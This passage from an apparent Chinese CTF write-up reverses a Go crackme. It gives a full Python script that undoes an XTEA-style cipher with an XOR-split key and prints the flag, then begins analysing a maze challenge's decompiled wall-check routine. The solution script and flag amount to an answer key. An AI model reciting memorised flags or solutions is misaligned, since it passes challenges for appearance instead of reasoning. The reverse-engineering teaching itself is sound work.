</span></span><span class="line"><span class="cl">    <span class="nf">write_u32_le</span><span class="p">(</span><span class="n">block</span><span class="p">,</span> <span class="n">v0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">write_u32_le</span><span class="p">(</span><span class="n">block</span> <span class="o">+</span> <span class="mi">4</span><span class="p">,</span> <span class="n">v1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>解密时将循环反过来即可：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">sum</span> <span class="o">=</span> <span class="n">delta</span> <span class="o">*</span> <span class="mi">32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">round</span> <span class="n">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">32</span><span class="p">)</span><span class="o">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">v1</span> <span class="o">-=</span> <span class="p">(((</span><span class="n">v0</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v0</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v0</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local</span><span class="p">[(</span><span class="n">sum</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">    <span class="n">sum</span> <span class="o">-=</span> <span class="n">delta</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">v0</span> <span class="o">-=</span> <span class="p">(((</span><span class="n">v1</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">sum</span> <span class="o">+</span> <span class="n">local</span><span class="p">[</span><span class="n">sum</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">]);</span>
</span></span></code></pre></div><p>注意 Python 中需要在每一步后加：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span></code></pre></div><p>来模拟 Go 的 <code>uint32</code> 溢出。</p>
<p>还原密钥：程序中密钥也做了拆分混淆：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">var</span><span class="w"> </span><span class="nx">keyA</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="kt">uint32</span><span class="p">{</span><span class="mh">0x4914137d</span><span class="p">,</span><span class="w"> </span><span class="mh">0x9c57dc72</span><span class="p">,</span><span class="w"> </span><span class="mh">0x46b3b921</span><span class="p">,</span><span class="w"> </span><span class="mh">0xc98ec9fa</span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="kd">var</span><span class="w"> </span><span class="nx">keyB</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="kt">uint32</span><span class="p">{</span><span class="mh">0x6d2b79f5</span><span class="p">,</span><span class="w"> </span><span class="mh">0x19f4d4a1</span><span class="p">,</span><span class="w"> </span><span class="mh">0x55aa330f</span><span class="p">,</span><span class="w"> </span><span class="mh">0xcafebabe</span><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>真正使用前会调用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">expandKey</span><span class="p">()</span><span class="w"> </span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="kt">uint32</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="kd">var</span><span class="w"> </span><span class="nx">k</span><span class="w"> </span><span class="p">[</span><span class="mi">4</span><span class="p">]</span><span class="kt">uint32</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">k</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nx">k</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">keyA</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="p">^</span><span class="w"> </span><span class="nx">keyB</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">k</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>因此真实 key 是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">KEY_A</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x4914137D</span><span class="p">,</span> <span class="mh">0x9C57DC72</span><span class="p">,</span> <span class="mh">0x46B3B921</span><span class="p">,</span> <span class="mh">0xC98EC9FA</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">KEY_B</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x6D2B79F5</span><span class="p">,</span> <span class="mh">0x19F4D4A1</span><span class="p">,</span> <span class="mh">0x55AA330F</span><span class="p">,</span> <span class="mh">0xCAFEBABE</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">key</span> <span class="o">=</span> <span class="p">[(</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xffffffff</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">KEY_A</span><span class="p">,</span> <span class="n">KEY_B</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">([</span><span class="nb">hex</span><span class="p">(</span><span class="n">x</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">key</span><span class="p">])</span>
</span></span></code></pre></div><p>输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">[&#39;0x243f6a88&#39;, &#39;0x85a308d3&#39;, &#39;0x13198a2e&#39;, &#39;0x3707344&#39;]
</span></span></code></pre></div><p>注意最后一个数补齐 8 位写作：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">0x03707344
</span></span></code></pre></div><p>还原目标密文：程序中保存的密文数组是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">var</span><span class="w"> </span><span class="nx">vault</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="mh">0xd5</span><span class="p">,</span><span class="w"> </span><span class="mh">0xf0</span><span class="p">,</span><span class="w"> </span><span class="mh">0x2e</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7e</span><span class="p">,</span><span class="w"> </span><span class="mh">0x07</span><span class="p">,</span><span class="w"> </span><span class="mh">0xf9</span><span class="p">,</span><span class="w"> </span><span class="mh">0x50</span><span class="p">,</span><span class="w"> </span><span class="mh">0xb0</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="mh">0x7f</span><span class="p">,</span><span class="w"> </span><span class="mh">0xf4</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7d</span><span class="p">,</span><span class="w"> </span><span class="mh">0x1a</span><span class="p">,</span><span class="w"> </span><span class="mh">0xea</span><span class="p">,</span><span class="w"> </span><span class="mh">0x15</span><span class="p">,</span><span class="w"> </span><span class="mh">0x48</span><span class="p">,</span><span class="w"> </span><span class="mh">0xd7</span><span class="p">,</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>但比较前会调用：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-go" data-lang="go"><span class="line"><span class="cl"><span class="kd">func</span><span class="w"> </span><span class="nf">target</span><span class="p">()</span><span class="w"> </span><span class="p">[]</span><span class="kt">byte</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nx">out</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nb">make</span><span class="p">([]</span><span class="kt">byte</span><span class="p">,</span><span class="w"> </span><span class="nb">len</span><span class="p">(</span><span class="nx">vault</span><span class="p">))</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">for</span><span class="w"> </span><span class="nx">i</span><span class="p">,</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">vault</span><span class="w"> </span><span class="p">{</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nx">out</span><span class="p">[</span><span class="nx">i</span><span class="p">]</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">v</span><span class="w"> </span><span class="p">^</span><span class="w"> </span><span class="nb">byte</span><span class="p">((</span><span class="nx">i</span><span class="o">*</span><span class="mi">17</span><span class="o">+</span><span class="mh">0x5a</span><span class="p">)</span><span class="o">&amp;</span><span class="mh">0xff</span><span class="p">)</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="p">}</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="k">return</span><span class="w"> </span><span class="nx">out</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="p">}</span><span class="w">
</span></span></span></code></pre></div><p>所以真正的目标密文为：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">VAULT</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xD5</span><span class="p">,</span> <span class="mh">0xF0</span><span class="p">,</span> <span class="mh">0x2E</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0xF9</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0xB0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0xF4</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0x1A</span><span class="p">,</span> <span class="mh">0xEA</span><span class="p">,</span> <span class="mh">0x15</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xD7</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">v</span> <span class="o">^</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="mi">17</span> <span class="o">+</span> <span class="mh">0x5a</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">VAULT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">ciphertext</span><span class="o">.</span><span class="n">hex</span><span class="p">())</span>
</span></span></code></pre></div><p>输出：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">8f9b52f3995690619d07790fcc22008e
</span></span></code></pre></div><p>逆向解密思路</p>
<p>加密逻辑是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">sum = 0
</span></span><span class="line"><span class="cl">repeat 32 rounds:
</span></span><span class="line"><span class="cl">    v0 += F(v1, sum, key[sum &amp; 3])
</span></span><span class="line"><span class="cl">    sum += delta
</span></span><span class="line"><span class="cl">    v1 += F(v0, sum, key[(sum &gt;&gt; 11) &amp; 3])
</span></span></code></pre></div><p>解密时倒过来：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">sum = delta * 32
</span></span><span class="line"><span class="cl">repeat 32 rounds:
</span></span><span class="line"><span class="cl">    v1 -= F(v0, sum, key[(sum &gt;&gt; 11) &amp; 3])
</span></span><span class="line"><span class="cl">    sum -= delta
</span></span><span class="line"><span class="cl">    v0 -= F(v1, sum, key[sum &amp; 3])
</span></span></code></pre></div><p>由于 Go 里的 <code>uint32</code> 运算会自然溢出，所以 Python 中每一步都需要：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="o">&amp;</span> <span class="mh">0xffffffff</span>
</span></span></code></pre></div><p>保持 32 位无符号整数效果。</p>
<p>完整解题脚本</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">DELTA</span> <span class="o">=</span> <span class="mh">0x9E3779B9</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">HEAD</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x57</span><span class="p">,</span> <span class="mh">0x5D</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0x4A</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">KEY_A</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x4914137D</span><span class="p">,</span> <span class="mh">0x9C57DC72</span><span class="p">,</span> <span class="mh">0x46B3B921</span><span class="p">,</span> <span class="mh">0xC98EC9FA</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">KEY_B</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x6D2B79F5</span><span class="p">,</span> <span class="mh">0x19F4D4A1</span><span class="p">,</span> <span class="mh">0x55AA330F</span><span class="p">,</span> <span class="mh">0xCAFEBABE</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">VAULT</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0xD5</span><span class="p">,</span> <span class="mh">0xF0</span><span class="p">,</span> <span class="mh">0x2E</span><span class="p">,</span> <span class="mh">0x7E</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0xF9</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0xB0</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7F</span><span class="p">,</span> <span class="mh">0xF4</span><span class="p">,</span> <span class="mh">0x7D</span><span class="p">,</span> <span class="mh">0x1A</span><span class="p">,</span> <span class="mh">0xEA</span><span class="p">,</span> <span class="mh">0x15</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xD7</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">decrypt_block</span><span class="p">(</span><span class="n">data</span><span class="p">,</span> <span class="n">key</span><span class="p">,</span> <span class="n">block</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">v0</span><span class="p">,</span> <span class="n">v1</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">unpack</span><span class="p">(</span><span class="s2">&#34;&lt;II&#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">local</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span> <span class="o">^</span> <span class="p">((</span><span class="n">block</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x01010101</span><span class="p">)</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">key</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">DELTA</span> <span class="o">*</span> <span class="mi">32</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">32</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">v1</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">v1</span>
</span></span><span class="line"><span class="cl">            <span class="o">-</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="p">(((((</span><span class="n">v0</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v0</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v0</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="o">^</span> <span class="p">(</span><span class="n">s</span> <span class="o">+</span> <span class="n">local</span><span class="p">[(</span><span class="n">s</span> <span class="o">&gt;&gt;</span> <span class="mi">11</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">        <span class="n">s</span> <span class="o">=</span> <span class="p">(</span><span class="n">s</span> <span class="o">-</span> <span class="n">DELTA</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">        <span class="n">v0</span> <span class="o">=</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">            <span class="n">v0</span>
</span></span><span class="line"><span class="cl">            <span class="o">-</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">                <span class="p">(((((</span><span class="n">v1</span> <span class="o">&lt;&lt;</span> <span class="mi">4</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="n">v1</span> <span class="o">&gt;&gt;</span> <span class="mi">5</span><span class="p">))</span> <span class="o">+</span> <span class="n">v1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">                <span class="o">^</span> <span class="p">(</span><span class="n">s</span> <span class="o">+</span> <span class="n">local</span><span class="p">[</span><span class="n">s</span> <span class="o">&amp;</span> <span class="mi">3</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">&#34;&lt;II&#34;</span><span class="p">,</span> <span class="n">v0</span><span class="p">,</span> <span class="n">v1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
</span></span><span class="line"><span class="cl">    <span class="n">prefix</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">x</span> <span class="o">^</span> <span class="mh">0x31</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">HEAD</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">suffix</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="mh">0x4C</span> <span class="o">^</span> <span class="mh">0x31</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">    <span class="n">key</span> <span class="o">=</span> <span class="p">[(</span><span class="n">a</span> <span class="o">^</span> <span class="n">b</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span> <span class="k">for</span> <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="ow">in</span> <span class="nb">zip</span><span class="p">(</span><span class="n">KEY_A</span><span class="p">,</span> <span class="n">KEY_B</span><span class="p">)]</span>
</span></span><span class="line"><span class="cl">    <span class="n">ciphertext</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">(</span><span class="n">v</span> <span class="o">^</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="mi">17</span> <span class="o">+</span> <span class="mh">0x5A</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFF</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">v</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">VAULT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">body</span> <span class="o">=</span> <span class="sa">b</span><span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">block</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">),</span> <span class="mi">8</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">body</span> <span class="o">+=</span> <span class="n">decrypt_block</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">[</span><span class="n">block</span><span class="p">:</span><span class="n">block</span> <span class="o">+</span> <span class="mi">8</span><span class="p">],</span> <span class="n">key</span><span class="p">,</span> <span class="n">block</span> <span class="o">//</span> <span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">((</span><span class="n">prefix</span> <span class="o">+</span> <span class="n">body</span> <span class="o">+</span> <span class="n">suffix</span><span class="p">)</span><span class="o">.</span><span class="n">decode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">main</span><span class="p">()</span>
</span></span></code></pre></div><p>最后得到flag：<code>flag{go_re_xtea_vault}</code></p>
<h3 id="stateful_vm_maze">
<a class="header-anchor" href="#stateful_vm_maze"></a>
stateful_vm_maze
</h3><p>先看输入约束，IDA里入口函数开头很直接：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Stateful VM Maze&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">printf</span><span class="p">(</span><span class="s">&#34;route&gt; &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nf">fgets</span><span class="p">(</span><span class="n">Buffer_1</span><span class="p">,</span> <span class="mi">512</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">Buffer_1</span><span class="p">[</span><span class="nf">strcspn</span><span class="p">(</span><span class="n">Buffer_1</span><span class="p">,</span> <span class="s">&#34;</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">)]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">Buffer_1</span><span class="p">)</span> <span class="o">==</span> <span class="mi">326</span> <span class="p">)</span>
</span></span></code></pre></div><p>所以输入是一串长度为<code>326</code>的路线字符串。后面根据<code>*Buffer_2 - 65</code>查表，说明字符从<code>'A'</code>开始映射。</p>
<p>重点表：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">dword_4061A0: 方向编号，非法字符位置为 -1
</span></span><span class="line"><span class="cl">dword_4060E0: y 方向增量
</span></span><span class="line"><span class="cl">dword_406140: x 方向增量
</span></span><span class="line"><span class="cl">byte_4060C0 : 每个方向对应的墙 bit
</span></span><span class="line"><span class="cl">byte_4063A0 : 加密后的迷宫表
</span></span></code></pre></div><p>还原后可得到常见WASD映射：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">W: y -= 1, wall = 1
</span></span><span class="line"><span class="cl">D: x += 1, wall = 4
</span></span><span class="line"><span class="cl">S: y += 1, wall = 2
</span></span><span class="line"><span class="cl">A: x -= 1, wall = 8
</span></span></code></pre></div><p>还原迷宫表，主循环里每走一步都会计算当前位置：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">v3</span> <span class="o">=</span> <span class="n">x</span> <span class="o">+</span> <span class="mi">21</span> <span class="o">*</span> <span class="n">y</span><span class="p">;</span>
</span></span></code></pre></div><p>然后判断当前位置对应方向是否撞墙：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span> <span class="n">direction_wall</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">byte_4063A0</span><span class="p">[</span><span class="n">v3</span><span class="p">]</span> <span class="o">^</span> <span class="nf">maze_key</span><span class="p">(</span><span class="n">v3</span><span class="p">))</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">lost</span><span class="p">;</span>
</span></span></code></pre></div><p>IDA把<code>maze_key(v3)</code>展开成了一大坨乘法、异或和移位：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="p">((</span><span class="o">-</span><span class="mi">2048144789</span> <span class="o">*</span> <span class="n">v3</span><span class="p">)</span> <span class="o">^</span> <span class="mh">0x9E3779B9</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span> <span class="mh">0x7FEB352D</span>
</span></span><span class="line"><span class="cl"><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="o">*</span> <span class="mh">0x846CA68B</span>
</span></span></code></pre></div><p>把它整理成人能看的形式就是：</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">maze_key</span><span class="p">(</span><span class="n">i</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="mh">0x9E3779B9</span> <span class="o">^</span> <span class="p">((</span><span class="n">i</span> <span class="o">*</span> <span class="mh">0x85EBCA6B</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">z</span> <span class="o">*</span> <span class="mh">0x7FEB352D</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">15</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">=</span> <span class="p">(</span><span class="n">z</span> <span class="o">*</span> <span class="mh">0x846CA68B</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xFFFFFFFF</span>
</span></span><span class="line"><span class="cl">    <span class="n">z</span> <span class="o">^=</span> <span class="n">z</span> <span class="o">&gt;&gt;</span> <span class="mi">16</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">z</span> <span class="o">&amp;</span> <span class="mh">0xF</span>
</span></span></code></pre></div><p>因此每个格子的真实墙信息是：</p>
